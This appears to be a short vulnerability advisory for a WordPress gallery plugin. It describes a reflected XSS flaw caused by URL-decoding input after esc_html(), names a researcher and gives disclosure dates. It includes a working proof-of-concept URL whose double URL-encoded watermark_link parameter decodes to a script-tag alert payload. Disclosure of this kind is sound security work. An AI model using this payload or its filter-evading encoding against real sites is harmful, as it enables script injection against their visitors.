User input gets first escaped with esc_html() and then urldecoded. This leads to the possibility of reflected XSS with a double url encoded payload.
URL/wp-admin/admin-ajax.php?action=GalleryBox&gallery_id=0&image_id=1&watermark_link=%25%32%32%25%33%65%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65&watermark_type=image
Karim El Ouerghemmi
No
2018-02-22 (about 4 years ago)
2018-02-25 (about 4 years ago)
2019-11-01 (about 2 years ago)